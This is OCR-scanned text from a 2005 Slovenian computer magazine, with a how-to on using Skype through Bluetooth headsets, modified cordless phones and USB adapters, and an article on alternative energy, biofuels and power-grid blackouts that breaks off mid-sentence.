pac izbrali tiste, ki nam najbolj ustrezajo in o
katerih je tudi na spletnih forumih najve¢ go-
vora. V veliki ve&ini primerov gre za brezplatne
programe, le dobri kodirniki MPEG so obi¢ajno
pla¢ljivi programi. In to kar dobro pla&ljivi, saj
na primer Cinemacraft Encoder stane skoraj
2000 dolarjev. A mogode je uporabiti tudi kaks-
nega brezpladnega, ki je sicer bistveno pocas-
ne;jsi, a lahko da povsem zadovoljive rezultate.
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sam svoj mojster: Skype in lokalna mobilnost

INTERNETNI MOBILNIK V STANOVANJU

Minilo je Ze skoraj dve leti, odkar smo prviC resneje pisali
0 Skypu kot predstavniku telefonije VolP. V tem Casu je iz
praktitno popolne anonimnosti prisel do ravni, ko je pometel
z marsikaterim resnim konkurentom. Domaca uporaba je

lahko z nekaj triki Se priroCnejSa.

PiSe: Marko Koblar
marko.koblar@mojmikro.si

o pri¢akovanjih se je zadeva iz razlogov,

na katere smo takrat opozorili, bliskovi-

to Sirila. Sam menim, da je eno od naj-

pomembnejsih gonil e dejstvo, da ga
uporablja vse ve€ ljudi. Skype je bil in ostaja
brezplacen (program in njegova uporaba), seve-
da pod pogojem, da imate stalno Sirokopasovno
povezavo, na primer ADSL, dostop prek omreZja
CATYV ali uporabljate enega od radijskih dosto-
pov (npr. WLAN). Priznati pa moram, da sem
kar nekoliko razo¢aran nad dejstvom, da se na
trgu do danes ni pojavilo vedje $tevilo termina-
lov, ki bi omogo&ali uporabo Skypa brez ra¢u-
nalnika. V mislih imam prave telefone s podpo-
ro Skypu, ki jih je mogo&e prikljugiti v krajevno
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ma nizko ceno (npr. 8 I e v s tstraley g
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HandyTone). Namescen vmesnik bluetooth

Skype  nesporno
opravlja svojo vlogo in zblizuje ljudi za nizke
stroske. Toda ve¢ ko ga uporabljate, bolj vas
bodo prej ali slej motila nekatera dejstva. Eno
od teh, zahteva po vklopu ra¢unalnika na obeh
straneh je vsaj mene odvrnila od resnejse upora-
be, tako da danes prisegam predvsem na drugad-
ne resitve in jih tudi uporabljam.

Pred dnevi sem dobil elektronsko sporogilo

prijatelja, ki z druZino %ivi onstran Atlantika, v
ZDA. Razumljivo je, da zaradi razmeroma viso-
ke cene mednarodnih pogovorov uporablja al-
ternativne nacine komunikacij (internet). Kot
mi je sporocil, v zadnjem &asu prisega na Skype.
Iskal je reSitev, ki bi bila razmeroma poceni in
bi omogotala lokalno mobilnost tistega, ki se
pogovarija prek Skypa. Priznati moram, da je bil
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najprej delefen mojega negodovanja in zmrdo-
vanja nad Skypom, kljub vsemu pa se je hitro
ponudilo nekaj regitev.

KAKSNE MOZNOSTI SO NA VOLJO?
Podalj$anje priklju¢nega kabla iz popolnoma

prakti¢nih razlogov ne pride v postev (ali pa

vendarle?). Imamo pa veliko drugih mo?nosti.

Zepni Skype

Izredno zanimiva bi bila uporaba dlanénika,
v katerega namestimo Pocket Skype. Gre za
razli¢ico Skypa namenjeno dlanénikom Po-
cket PC. Pogoj pa je, da imamo dlan¢nik vsaj
s sistemom Windows Mobile 2003, 400 MHz
procesorjem in WLAN-vmesnikom (prek ka-
terega se povezuje v krajevno omre¥je oziroma
internet). To mo?nost sem sam pogosto upo-
rabljal pred asom, a je prijatelju sploh nisem
predlagal. Ker verjamem, da dlan¢nika ne po-
trebuje, ga zato tudi nima.

»USB-telefon «

Na trgu (tudi pri nas) je mogoe za nekaj
tiso¢akov dobiti razli¢ne telefone, ki jih pri-
klju¢imo v USB-vmesnik. Dejstvo pa je, da gre

sam svoj mojster: Skype in lokalna mobilnost

najvedkrat za vmesnike, pri katerih so v tele-
fonu podobnem ohigju povezani zvoéna kartica,
mikrofon in zvoénik.

Dvojni telefon

Obstajajo pa tudi »pravi« tako imenova-
ni dvojni telefoni (dual phone), ki podpirajo
tako uporabo v obi¢ajnih telekomunikacijskih
omreZjih kot tudi klice prek Skypa. Enega od
teh najdemo na strani www.dualphone-us.com/.
Ta dvojni telefon je po eni strani prek prikljucka
RJ-11 povezan s telekomunikacijskim omreZjem
(obi¢ajni telefonski prikljucek), na drugi strani
pa prek USB-vmesnika z osebnim rac¢unalni-
kom. Resitev je izredno elegantna, kupec pa je
zato v ZDA la¥ji za slabih stogtirideset zelencev
oziroma v Evropi za podoben znesek v evrih
(priblizno 135 evrov).

Siemensov Gigaset po domacde
Lastniki brezvrvi¢nih Siemensovih telefonov
Gigaset lahko poseZejo po vmesniku Gigaset M34.
Seznam podprtih telefonov najdete na strani hetp://
communications.siemens.com/cds/frontdoor/0,2241-
,hg_en_0_69566_rArNrNtNtN_variation%253A-
5_pageType%253 Aproducts_imagePos%253A0,00.
— -ﬁ html. Gre za napravo, ki

prek radijskega vmes-
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Brskanje po splet-
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Oddaljena naprava lahko uporablja racunalnikov mikrofon in zvoénik
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Opremite svojo predavalnico ali
konferenéno sobo z napredno opremo

SVIGA Mnodilniki - -SYGA ﬂjaﬁwaici_signum

L e e e e i Sl

Weskrach de-ion TIRHIOT W corvond [ v aain

Uspesna prijava slusalk

mesovega telefona. Opis najdemo na strani www.
grynx.comfindex.php/projects/siemens-skype/. Gre
za preprosto predelavo/ brezZi¢nega telefona, ki
jo lahko brez tefav izvedejo vsi, ki imajo nekaj
izkusenj z elektroniko. Ideja predelave je, da naj-
demo na bazni postaji vhodno in izhodno to¢ko
signala na tiskanem vezju. Ti prek priklju¢nega
kabla povefemo z vhodom in izhodom zvo&ne
kartice na osebnem racunalniku. Posledica je,
da smo prek bazne postaje brezvrvi¢nega telefo-
na »podaljSali« priklop slufalke in mikrofona na
»rotko« prenosnega telefona. Slabost refitve je,
da je telefon uporaben le kot podaljsek mikro-
fona in slusalke, druge operacije izvajamo prek
osebnega ratunalnika. Ceprav je resitev opisana
za Siemensov telefon, jo brez te¥av prenesemo
tudi na telefone drugih proizvajalcev. V nasem
primeru smo predelavo %e preizkusili na starej-
$em Panasonicovem telefonu. Prednost tovrstne
predelave pa so minimalni stroski, saj se gibljejo
med enim in dvema tiso¢akoma (dva prikljucka
in kabel). Za predelavo lahko uporabimo tudi
starej§i telefon, ki ima poskodovano tipkovnico
in je zaradi tega neuporaben.

Obicajni telefon in osebni ra¢unalnik
Ce vam predelava ne disi, uporabiti pa Zelite
katerikoli (analogni!) brezvrvi¢ni telefon, so za-
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Nastavitve za slusalke in mikrofon

nimive reSitve, ko prek vmesnika poveZfemo obi-
¢ajni telefon in osebni ra¢unalnik. Gre za vmes-
nik, ki ima na eni strani USB-vmesnik, na drugi
pa »telefonski« RJ-11. Taksno resitev odlikujeta
nizka cena in mo#nost »polne« uporabe telefona.
Ena od moZnosti je uporaba vmesnikov na strani
www.cuphone.com/productsfindex.htm. Ce Zelimo
uporabljati vmesnik le za en telefon, izberemo mo-
del RJ-11 to USB Phone Adapter, za priklop v
telefonsko centralo pa je primernejsi model Per-
sonal Phone Gateway (PPG). Prednost Phone
Adapterja je, da ga lahko uporabljamo (velikokrat,
ne pa vedno !) tudi z drugimi aplikacijami.

Ves &as pa se je zdela zanimiva, preprosta in
najlaZe izvedljiva mo#nost uporabe slusalk blu-
etooth in ustreznega vmesnika za osebni radu-
nalnik. Razloga za uporabo sta dostopnost obeh
vrst naprav in mo#nost njihove uporabe tudi v
drugih primerih. Predvideli smo uporabo slusalk
GSM bluetooth (ki jih je ljubeznivo posodil
urednik nage revije) ter bluetooth/USB-vmes-
nika za osebni ratunalnik, ki ga sicer sam upo-
rabljam za povezavo s Siemensovim dlan¢nikom
Loox. Zadeva bi nacelno morala delovati, a kaj,
ko se vrag skriva v malenkostih.

Verjamem, da so tovrstne reSitve zanimive za
Sirdi krog bralcev. Nekoliko ve¢ pozornosti bomo
zato namenili posameznim korakom tako, da bo
postopek razumljiv tudi manj izkugenim.

Najprej namestimo programsko opremo za
vmesnik bluetooth. V nagem primeru smo upo-
rabili Jahtov JBT-2001U, ki ima domet do 100
m (lahko bi uporabili tudi drug model z manjsim
dosegom — 10 m). Po ponovnem zagonu racu-
nalnika (Windows 2000) je ratunalnik vmesnik
prepoznal brez te¥av. Ko je programska oprema
vmesnika names¢ena in bluetooth/USB-vmes-
nik priklju¢en, lahko dobimo osnovno informa-
cijo pri sistemskih informacijah (Nadzorna plos-
&a — Sistem — Strojna oprema). Med informacijo
o napravah moramo najti tudi podporo za zvok

el T e e I B K- TR M -

zvocnega signala le $um, najveckrat pomagata
izklop slugalke ter ponoven priklop (v nagem pri-
meru se je vedno obneslo).

Ko slusalka bluetooth deluje, se lotimo 3e na-
stavitev znotraj Skypa. Po zagonu programa in
prijavi v omre¥je izberemo meni Tools — Options
— Sound Deuices. Nastavitve za Audio In, Audio
out ter Ringing spremenimo na bluetooth Audio. Po
Yelji lahko nastavimo $e samodejno nastavitev ni-
voja in nastavitve shranimo. Po ponovnem zago-
nu programa so nastavitve aktivirane. Za preizkus
uspesnosti lahko uporabimo tudi moznost Make a
test call to Skype answering machine, s &imer lahko
ugotovimo pravilnost delovanja (gre dejansko za
neke vrste echo teste nasega govora).

Ce imate pri roki katerega od telefonov No-
kia z vmesnikom bluetooth, lahko preizkusite
program Useful Skype
Blueetooth PTT oziroma
Useful Skype Bluetooth
Phone. Seznam podprtih
Nokiinih telefonov je sku-
paj s preizkusnima razlici-
cama programov na voljo
na spletni strani www.
useful-apps.com/. Gre za pa-
ket, ki omogoa povezavo
GSM- telefona in osebnega
racunalnika prek vmesnika

bluetooth. Tako lahko upo-

rabljamo odjemalca Skype
v osebnem racunalniku

Uspesen test

prek vmesnika bluetooth (bluetooh audio).

Postopku namestitve sledi prijava naprave
bluetooth v vmesnik. Vmesnik damo v stanje
iskanja novih naprav; napravo, ki jo ¥elimo pri-
javiti, pa z dalj$im pritiskom na tipko (navodila
1) postavimo v stanje prijave. V naSem primeru
smo uporabili Sony Ericssonove slusalke HBH-
602. Postopek prijave je enak, kot bi slufalke
prijavili v mobilni GSM-telefon. Posebne pro-
gramske opreme ali gonilnikov nismo potrebo-
vali. Vnesemo $e geslo za prijavo (0000) ... in
slugalke so skupaj z mikrofonom prijavljene v
osebni ratunalnik.

Ce smo storili vse tako, kot je treba, lahko
pofenemo katerega od multimedijskih predva-
jalnikov (npr. Winamp) in predvajamo glasbeno
datoteko. Pri morebitnih te¥avah (ni zvoka, pre-
nizek nivo glasnosti, izklju¢en mikrofon) je smi-
selno najprej preveriti nastavitve »nove zvotne
kartice«. To storimo tako, da odpremo okno z
zvoénimi nastavitvami. Gremo na moznosti/na-
stavitve in izberemo lastnosti. Med napravami
izberemo bluetooth avdio vmesnik in pogledamo
nastavitve za predvajanje in snemanje. Po potre-
bi vklopimo napravo in prilagodimo nivo signa-
la. Ce se vam zgodi (redko), da imate namesto

Namestimo gonilnike in aplikacijo ter priklju¢imo vmesnik bluetooth. Vzpostavimo povezavo
med vmesnikom in slufalkami. Slufalke damo v nacin delovanja paring in jih prijavimo na
vmesnik. V ratunalniku vnesemo $e kodo (obiajno 0000).
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prek mobilnega telefona.
Paket sestavljata dva dela
— strezniski (ra¢unalnik) in
odjemalski (telefon). Slednji se namesti iz racu-
nalnika v telefon. Tovrstna uporaba je zanimiva
zato, ker je celotna manipulacija s klici mogo-
&a prek telefona (prek odjemalca je na primer
mogo¢ dostop tudi do stikov). Vsekakor vredno
ogleda, ¢e imate katerega od podprtih telefonov.

Resitev s slusalkami mobilnega telefona se v
praksi solidno obnese. Klice lahko prevzemamo
in prekinjamo neposredno prek slusalke, na ka-
teri lahko nastavljamo tudi glasnost. Bluetooth
je namenjen za krajse razdalje, zato ne smemo
pri¢akovati Cudefev. Z USB-razdelilnikom in s
priklju¢nim kablom smo dosegli ustrezno po-
stavitev vmesnika in ustrezno polno pokritost
v vedjem stanovanju (nadstropje stanovanjske
hise). Razumljivo je, da kakovost zvoka ni na
ravni hi-fi opreme, vsekakor pa je bistveno bolj-
%a od vetine cenenih slugalk, namenjenih upo-
rabi z osebnimi ra¢unalniki.

Regitev je cenovno razmeroma ugodna (10 do
15 tiso¢akov), Se zlasti ker lahko obe komponen-
ti uporabimo tudi za druge namene. Omenjeni
vmesnik bluetooth smo brez tefav uporabili
hkrati z sluSalkami in dlan¢nikom in razdelili
»nalozbo« vmesnika med dve uporabi. Ker gre
za opremo, ki ni vezana na dolo¢en program,
jo lahko uporabljamo tudi v drugih softphonih
(npr. Xten, Sjphone). No, zdaj boste lahko v
miru klepetali in se medtem sprehajali z metlo
po stanovanju ...






novi energijski viri in modeli

LAKOTA

PO ENERGIJI

Naravne Krize, spori in boji, povezani z nafto, vedno
znova opominjajo tudi na nevarne posledice nenehne rasti
prebivalstva in neomejene porabe naravnih energijskih virov.

Pise: Esad Jakupovié
esad.jakupovic@mojmikro.si

red pol drugim stoletjem so v zahodnem

svetu za razsvetljavo v hiSah v glavnem

uporabljali kitovo olje. Postopoma je

povpraSevanje po olju raslo brez ustrez-
nega povelevanja ponudbe in cene so zatele
rasti. Kmalu se je, logi¢no, pojavilo alternativno
gorivo brez dima in vonja, parafinsko olje, ki je
hitro osvojilo trg. Potem so v Pensilvaniji odkrili
nafto, pa je Y¢ v enem letu pet Sestin prej¥njih
uporabnikov kitovega olja v ZDA preslo na nove
vrste goriva. Lahko bi rekli, da so lovci na kite
ostali brez potro$nikov, $e preden so ostali brez
kitov. Danes smo morda v podobnem polozaju
z nafto, saj je uporabljamo preve¢ in zanjo po-
rabimo okoli $tiri milijarde dolarjev na dan.
Analitiki Ze dolgo opozarjajo, da se lahko zgodi
zviSanje cen do morda 100 dolarjev na sod (z da-
nasnjih priblizno 50). Pravzaprav je napovedati
karkoli v zvezi z nafto izjemno tezko, saj je 94 %
rezerv v rokah drav, ki pa raje ne objavljajo po-
drobnih podatkov.

ISKANJE ALTERNATIVE

Naftna kriza, kakor bi lahko poimenovali
vselej negotovo stanje s »érnim zlatome, z njo
povezana meddrfavna trenja in celo obcasne
vojne, teroristiéna dejanja, nesrede s tankerji,
nenehno zmanjSevanje omejenih svetovnih re-
zerv in ¢rnoglede napovedi so e mnoge navedli
na iskanje alternativnih resitev. Kljub raziirjene-
mu mnenju, da bo svet brez (poceni) nafte tezko
prezivel, strokovnjaki ponujajo razli¢ne resitve
varéevanja z nafto in njeno zamenjavo ter opo-
zarjajo, da se moramo ¢im prej osvoboditi odvis-
nosti od fosilnih goriv. Alternativna goriva niso
bila privlaéna, ko je bila cena nafte precej pod 25
dolarjev, s to ceno pa so %e postala sprejemljiva.
S ceno od 50 dolarjev na sod so postali alterna-
tivni viri ¥e tako privla¢ni, da jih nih&e ve¢ ne
more zanemarjati. S e vi§jimi cenami nafte bodo
alternativna goriva dokon¢no postala toliko pri-
vlagnejia, da jih bodo prakti¢no vsi uporabljali.
To e zlasti velja za ZDA, ki so najve&ji svetovni
potrosnik nafte in med velikimi drfavami naj-
manj skrbijo za resne posledice onesnaZevanja
okolja.

Kljub sedanji veliki porabi se lahko zgodi, da
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bodo ravno ZDA do leta 2025 prepolovile rabo
nafte in jo potem do leta 2050 povsem ustavile.
Poraba bi se namreg dala zni%ati na polovico %e
»samo« s podvojitvijo uéinkovitosti rabe fosil-
nih goriv. Za drugo polovico bi poskrbeli z zame-
njavo fosilnih goriv z naravnim plinom (30 %)
in vse bolj§im biogorivom (20 %), delno pa tudi
z drugimi alternativnimi viri. Morda bo cena
nafte do leta 2025 pravzaprav padla na 26 do-
larjev na sod, kot so napovedali v ZDA, a bi drZa-
va celo tedaj z zamenjavo prihranila 70 milijard
dolarjev. Cvetota gospodarstva, kot sta indijsko
in kitajsko, bi lahko padla v naftno past, kot so
véasih ZDA, a je verjetneje, da bodo ubrala pot
tehnoloskega prilagajanja in uvajanja alternativ-
nih virov. Podvojitev energetske ucinkovitosti
je bila predlagana Se v Casih naftnega embarga
v letu 1973, a vetina takratnih idej ni bila iz-
kori§¢ena. Med njimi je, na primer, zamisel o
zmanj$anju porabe goriva za la%ja tovorna vozila
na 3,6 litra na 100 km, za potniska vozila pa na
2,6 litra. Tak ekologko prilagojen avtomobil bi
stal dodatnih 2550 dolarjev, kar pa bi se zaradi
manj3o porabe splacalo %e v dveh letih v ZDA in
v enem letu v Evropi.

MNOZICNA RABA BIOGORIVA

Fosilno gorivo z »nicelnim oddajanjem<: Nove
tehnologije lahko preoblikujejo premog v umetni plin
za zagon plinskih turbin.

Velike moznosti ohranjanja
toplote: Termalni zemljevid
tipicne hise

Spremembe avto-
mobilov, ki naj bi
pripeljale do drasti¢-
nega zmanj$anja porabe goriva, vkljutujejo lah-
ko jeklo in kompozitne materiale z dodatkom
ogljika v motorju, ki vstkavajo 6-12-krat ve&
energije na kilogram mase. Druge inovacije se
nanasajo na aerodinami¢no obliko, boljse pnev-
matike, bolj¥o racunalnisko integracijo funkcij
upravljanja, nadzora in delovanja. Za celotno
odpravo nafte kot goriva bi v ZDA porabili oko-
li 180 milijard dolarjev — polovico za prilaganje
vorzil, polovico pa za izpopolnjevanje biogoriva.
S tem bi, kot kaZejo izracuni strokovnjakov, e do
leta 2025 prihranili 155 milijard dolarjev, odprli
milijon novih delovnih mest, prihranili $e mili-
jon obstojecih (ki bi drugade bila izgubljena) in
zmanjsali oddajanje ogljikovega dioksida za 26 %.
Podobne prednosti bi s podobnimi ukrepi ustva-
rili tudi v Evropi, Aziji in Juzni Ameriki. Dr¥ave
izvoznice nafte pa s tem ne bi trpele $kode, ker bi
se nafta potem uporabljala bolj zaradi vodika kot
ogljikovodika. V samo dveh generacijah bi lahko
nafta, ki je danes vir naSe moci in postaja tudi
vir nagih te¥av, postala enako zastarela kot tiste
»lampe« na kitovo olje.

Mno%i¢na uporaba biogoriva ni zamisel za
prihodnost, temve¢ Ze delujo¢ sistem v neka-
terih drfavah. Najve&ji uporabnik tega vira je
Brazilija, kjer danes deluje 320 tovarn etanola
iz bioloske mase sladkornega trsta, v naslednjih
pet let pa bodo zgradili $e 50 tovarn. Okoli 15
milijonov voznikov uporablja kombinirano go-
rivo, v katerem je 25 % etanola. Kmalu naj bi
se zalela proizvodnja nove generacije motorjev
in avtomobilov s 100-odstotnim pogonom na
etanol. V Braziliji je cena etanola dvakrat niZja
od cene bencina ali dizla, biolosko gorivo pa je
na voljo povsod — tako v sredis¢ih velikih mest
kot v pragozdu reke Amazonke. Brazilski tanker-
ji razvaZajo ogromne koli¢ine etanola po vsem
svetu, zlasti energetsko la¢nima Japonski in Juz-
ni Koreji. Velike svetovne druzbe nameravajo v
naslednjih petih let vlo%iti 6 milijard dolarjev v
nove plantaZe in destilarne. V ZDA proizvedejo
pribliZzno enako koli¢ina etanola kot v Braziliji,
kjer ga pridobijo iz koruze. S sedanjo koli¢ino v
ZDA pokrivajo 3 % ameriskih potreb po gorivih,
po nedavni odlo¢bi kongresa pa bodo koli¢ino
podvojili.



V PRAKSI

Biogoriva proizvajajo v ve¢ kot 30 drzav iz
biologkih odpadkov in vzgajanih rastlin, kot so
poleg sladkornega trsa in koruze tudi kokosova
palma in soja — med drugim v Nemd&iji, Indiji,
Avstraliji, Venezueli, Indoneziji, Pakistanu ter na
Kitajskem in Tajskem. Mnoge dr?ave spodbujajo
in podpirajo proizvodnjo biogoriva zaradi zmanj-
Sanja odvisnosti od vse dra¥je nafte, zmanjseva-
nja oddajanja ogljikovega dioksida, izkori¢enja
lastnih zmogljivosti in podobno. Dejstvo je, da
tudi velike petrokemi¢ne druzbe, kot sta Shell in
British Petroleum, veliko vlagajo v proizvodnjo
etanola in podobnih biogoriv ter nekatere tudi
same Ze distribuirajo etanol, ki na svetovnem
trgu prinaga %e ve¢ kot 20 milijard dolarjev na
leto. V Stevilnih drfavah preucujejo tudi druge
moZnosti izkori§¢anja dosefkov znanosti in teh-
nologije s ciljem proizvodnje novih in cenejsih

Svetovna proizvodnja elektrike
po virih (v 1000 TWh)

l - Drugo (veter, sonce, biomasa...)

novi energijski viri in modeli

Premoga je na Zemlji §e vedno v zadostnih koli¢inah. Evropska komisija napoveduje, da se
njegova cena ne bo spreminjala do leta 2030. Ameriska vlada je 2002 sprejela »program &iste
modi iz premogax, ki predvideva, da bo vlada pokrila polovico investicijskih strogkov toplarn
na premog v naslednjem desetletju. Edini pogoj je spostovanje strogih okoljevarstvenih kri-
terijev in tudi kriterijev u¢inkovitosti. TeZave z okoljem odpadejo, e se izkoristi postopek
uplinjanja, ki omogoc¢a uporabo trdega premoga v plinskih turbinah. Ena najprivla¢nejsih vrst
energije je geotermalna, ki je dostopna po vsem svetu in je posebej »Zista«.

Ce bi ocenjenih 5000 milijard ton ogljikovih virov zgorelo na isti na¢in kot danes, bi se
koli¢ina ogljikovega dioksida v ozra&ju povecala kar za 17-krat v primerjavi s koli¢ino v za-
dnjih 150 letih. Tudi izlotitev CO, iz izpudnih plinov je draga, stane okoli 30 do 42 evrov na
tono. StroSek se bo v prihodnosti zmanjseval. Eleganten nacin njegovega izloanja je postopek
uplinjanja pred izgorevanjem. Elektrarna mora biti opremljena s tehnologijo kombiniranega
cikla z integriranim uplinjanjem (IGCC), pri kateri se gorivo izpostavlja delovanju zraka, obo-
gatenega s kisikom in vodeno paro. Rezultat je sintezni plin, meSanica ogljikovega monoksida
in vodika. Namesto neposredno v komore za izgorevanje se lahko plin najprej kombinira z
vodno paro IGCC, da ustvari vodik in ogljikov dioksid, ki se potem lahko izlo¢i kot vsak drug

koncentrirani plin.

Svetovne zmogljivosti elektrarn

po virih (v 1000 GW) GW)

f ' Drugo (veter, sonce, biomasa...)
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Proizvodnija elektricne energije v teravatnih urah:
Uporaba premoga in nafte se ho zmanjsala, atomskih
jeder stagnirala, medtem ko ho raba drugih virov rasla.

biologkih goriv. Pravzaprav sta na zatetku avto-
mobilskega obdobja med drugim tudi Henry Ford
in Rudolf Diesel pri¢akovala, da bodo vozila upo-
rabljala biogoriva, pridobljena iz rastlin, vendar
je poceni nafta spremenila razvoj Ze od zacetka.
Dobro, lahko bi rekli, tudi sama nafta je nastala
z ohranjanjem energije v Zivi snovi. Seveda je, le
da je za to potrebovala nekaj milijard let.

Nafta je Zal samo del kompleksa te¥av, s kate-
rimi se mora spopadati ¢loveska vrsta zaradi za-
dovoljenja rastocih potreb po energiji. Svetovno
prebivalstvo se bo po vsej verjetnosti povecalo
na osem milijard do leta 2030. Visoka gospodar-
ska rast v Aziji in drugih hitro rasto¢ih obmogjih
bo dodatno pove&ala povprasevanje po energiji,
posebej elektri¢ni, ki bi jo morali proizvajati z
izpolnjevanjem tako ekonomskih kot tudi eko-
loskih in socialnih kriterijev. Komisija Evropske
unije v poro&ilu iz maja 2003 poudarja, da se bo

Zmogljivosti elektrarn v gigavatih: Kot vidimo, raste
uporaba vseh virov razen jedrskih in pare.

poraba primarne energije do leta 2020 povecala
za 70 %. Po porotilu Mednarodne agencije za
atomsko energijo (IEA) iz leta 2002 bo proiz-
vodnja elektri¢ne energije rasla bistveno hitreje
kot svetovno prebivalstvo — to je 2,4 % proti 1
% letno. Svetovni svet za energijo v Londonu je
skupaj z IEA ocenil, da se bo koli¢ina ogljiko-
vega dioksida do leta 2020 povecala za 50 %, ce
ne bo to prepreceno z radikalnimi ukrepi. Tudi
druge ustanove prihajajo do podobnih sklepov:
da se bosta tako poraba energije kot tudi koli&i-
na CO, nenehno povetevali, razen Ce se nekako
razveZe povezava ekonomske rasti s svetovno po-
rabe energije.

V manjsih mestih povsod po svetu so ljudje
vajeni obCasnih izpadov elektri¢ne energije. V
tako orjaskem mestu, kot je New York, pa seveda

Skupna oddajanja v 2001

Vir: EU, Deutsche Institute Verlag 47/2003
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s Odistotek naértovanega zmanigania oddajanja
plinov, ki povzrotajo usinek rastlinjaka all dovoljens
rasti v obdobju 1999-2012, po Kyotskem protokolu
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Kyoto in Evropska unija: Prikaz oddajanja 802 v letu
2001, spremembe v prejSnjem desetletju ter odstotek
nacrtovanega zmanjSanja oddajanja plinov v letih
1999 2012.

niso, in tak dogodek ima zelo resne posledice za
milijone ljudi. Tisto, kar se ne bi smelo zgoditi, pa
se je zgodilo 14. in 15. avgusta 2003 in je ostalo
znano pod imenom Zatemnitev. Izpad je v bistvu
dale¢ presegal sam New York, saj je $lo za zatem-
nitev ogromnega obmodgja vse tja do Michigana
in Kanade. Anga¥irani strokovnjaki Nemskega
zdru¥enja za elektri¢ne, elektronske in informa-
cijske tehnologije (VDE) so odkrili, da je nesreco
zanetil ogenj, ki se je hitro razsiril po grmoviju in
kmalu povzrotil odpoved dveh elektrarn in po-
membnega daljnovoda, dolgega 1000 km. Odpo-
ved je pripeljala do preobremenitve drugih mre?
in po »utinku domin« se je sesul celoten sistem
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z okoli 100 elektrarn v ZDA in Kanadi. V nekaj
minutah so ga namred zasule stotine sporocil o
napakah, v sistemu pa ni bilo ustreznega inteli-
gentnega sistema za analizo napak.

Pred priblizno 50 leti so Francija, Avstrija in
Nemcija ustanovile Zvezo za koordinacijo preno-
sa elektrike (UCTE). Zveza je bila kmalu sposo-
bna aktivirati 3000 dodatnih megavatov (kar je
enako moci nekaj elektrarn skupaj) v 30 sekun-
dah. Z leti je UCTE prerasla v mednarodno elek-
tri¢no avtocesto, ki pa je po Siritvi EU-ja postala
tudi svojevrsten trg elektri¢ne energije. Danes
UCTE pokriva obmog&je od Poljske do Portugal-
ske, od Nem¢ije do Italije in od Bolgarije do Gr-
Cije. Sistem, »nabit« z elektrarnami, je naceloma
varen, ker je sposoben absorbirati okvaro ali izpad

Vas prihodnosti: Sonéni paneli na hiSah hodo skrbeli
za toploto, vetrnice za elektri¢no energijo, medtem ko
bodo rohoti obdelovali polja in gojili ribe.

dela. Tefava z UCTE-jem je, da ga je preveliko
aktivno trgovanje z elektriko pripeljalo do meje,
zaradi Cesar se lahko pri izpadu destabilizira. Tako
se je septembra 2003 zgodila zatemnitev v Italiji,
ki na veliko kupuje elektriko v Franciji, Nemd&i-
ji in na Poljskem ter s tem posebej obremenju-
je daljnovod v Svici. Izpad 3000 megavatov na
enem koncu mreZe lahko povzrodi gibanje toka v
eni smeri, potem vzvratni udar in na koncu osci-
liranje, ki lahko sesuje sistem. Prof. Hans-Jiirgen
Haubrich z Univerze v Aachnu in njegova ekipa
preucujejo sistem in razvijajo modele, ki naj bi
prepretili potencialne nestabilnosti.

Da bi se sistem stabiliziral, bi se moralo zmanj-
Sati trgovanje z elektriko ali vzpostaviti vzpo-
redne, zelo drage prenosne linije. Ker ti refitvi
prakti¢no nista realni, prof. Haubrich in njegova
ekipa razvijata pametne programske modele, ki
bi z merjenji temperature s pomo&jo dodatnih
senzorjev vzdol? linij omogodili povecevanje
zmogljivosti prenosa pozimi. Poleti pa bi bila
prva naloga preprecevanje osciliranja v mreZi.
Podobni modeli se uporabljajo tudi s ciljem raz-
vijanja strategij energijskega varéevanja. V raz-
licnih drfavah strokovnjaki razvijajo pametne
modele, ki bi omogotili zmanjSevanje porabe
morda na polovico. Pametna programska opre-
ma lahko omogodi lokalnim podjetjem ali vla-
di optimiranje oziroma zni%anje lastne porabe
energije. Siemensovi infenirji, na primer, poma-
gajo uporabnikom odkriti slabe tocke v sistemu
in razviti reitve za njihovo odpravo. V mnogih
primerih se lahko tako strogki za elektri¢no ener-
gijo za zmanj$ajo 20-40 odstotkov..

Skupine raziskovalcev po svetu preucujejo na-

94 MOJ MIKRO 10 OKTOBER 2005

Tudi &ez pet ali deset let bomo ve&ino svojih energetskih potreb zadovoljevali s fosilnimi
gorivi. Vendar pa bo po zaslugi podjetij, kot je »Energija za nas«, precej izbolj§ana njihova
udinkovitost, zelo pa bo razirjena uporaba obnovljivih goriv. V nasem scenariju za leto 2015
gledamo sliko na velikem, na dotik ob&utljivem zaslonu v podjetju »Energija za nas«, na kate-
re, direktorica podjetja Christine in njen gost iz zdrufenja UCTE Arthur pregledujeta 3D-si-
mulacijo novega parka vetrnic v bliZini gorja Atlas v Maroku. Pred kratkim zgrajeni postroj bo
proizvajal ve€ elektri¢ne energije kot v letu 2005 vetrni parki na podro¢ju Baltskega morja. Po
zaslugi nedavne $iritve mre¥e Zveze za koordinacijo prenosa elektrike (UCTE) iz Evrope prek
Gibraltarja v Severno Afriko bo v bodoge omogoceno prenaganje energije iz Maroka tudi v ev-
ropske drzave. Tudi Rusija bo kmalu povezana v sistem prek Tur&ije in Bliznjega vzhoda. Pod-
jetje »Energija za nas« razvija in gradi ekolosko &iste elektrarne s tehnologijo kombiniranega
cikla z integriranim uplinjanjem (IGCC) na podlagi premoga. (Kombinirani cikel je, mimo-
grede, ucinkovitejsi sistem za proizvodnjo elektrike, v katerem se odpadna toplota iz genera-
torja plinske turbine uporablja za ogrevanje vode v kotlu, ki poganja generator parne turbine.)
Model IGCC podjetja »Energija za nas« omogoca izlo¢anje CO, ter skladid¢enje energije iz ve-
trnic, geotermalnih postrojev in sonénih elektrarn. V sistem UCTE se bo kmalu vkljugila tudi
Sirija, kar bo omogo¢ilo gradnjo 1000 m visokega son¢nega stolpa sredi orjaskega polja ogledal
s premerom 7 km, z zmogljivostjo 200 MW. V projektu so bili upostevani vsi parametri, kot
so as osvetljenosti, hitrost vetra, vpliv vremena, mo?nost pojava potresnih sunkov, onesna-
Yevanje in podobno. Potem ko sta si ogledala 3D-simulacijo izvajanja projekta geotermalnih
UCTE sprejeti v ¢lanstvo Se koga. Arthur je potrdil, da potekajo pogovori s Kitajsko in Rusijo

— o njunem vstopu v zdru-
Zenje oziroma povezo-
vanju njunih ogromnih
energetskih mre? z mre¥o

UCTE.

Pogled v prihodnost:
direktorica podjetja
»Energija za nas« Christine
(v sredini) in predstavnik
zdruzenja UCTE (v ospredju)
pregledujeta aktualne projekte
in povezovanje ogromnih
energetskih mrez v Evropi in
Afriki

&ine za zadovoljevanje rastocih potreb po energi-
ji. Med njimi pomembno mesto zavzemajo zamis-
li o izkoris¢anju ogromne rezerve nafte in plina z
dna morja, z globine med 500 in 2000 metrov. Za
